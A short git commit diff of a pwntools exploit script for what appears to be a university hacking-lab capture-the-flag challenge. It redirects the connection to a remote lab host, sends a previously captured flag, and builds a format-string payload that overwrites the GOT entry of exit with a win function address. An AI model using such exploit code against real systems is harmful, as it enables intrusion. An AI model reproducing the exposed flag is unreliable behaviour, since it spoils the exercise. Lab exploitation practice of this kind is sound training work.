remote
This commit is contained in:
@@ -15,8 +15,10 @@ print("win : ", hex(win_addr))
|
||||
|
||||
#for i in range(1,30):
|
||||
#print("##################### ", i)
|
||||
p = process(elf.path)
|
||||
#p = remote("localhost", 4010)
|
||||
#p = process(elf.path)
|
||||
p = remote("binexp.stud12.hacklab.ias.tu-bs.de", 4010)
|
||||
payload = "hacklab{ret2libc_1s_p0w3rful_urPDIYAb}"
|
||||
p.sendline(payload.encode())
|
||||
|
||||
context.clear(arch = 'amd64')
|
||||
payload = fmtstr_payload(offset=8, writes={exit_got: win_addr})
|
||||
|
||||
Reference in New Issue
Block a user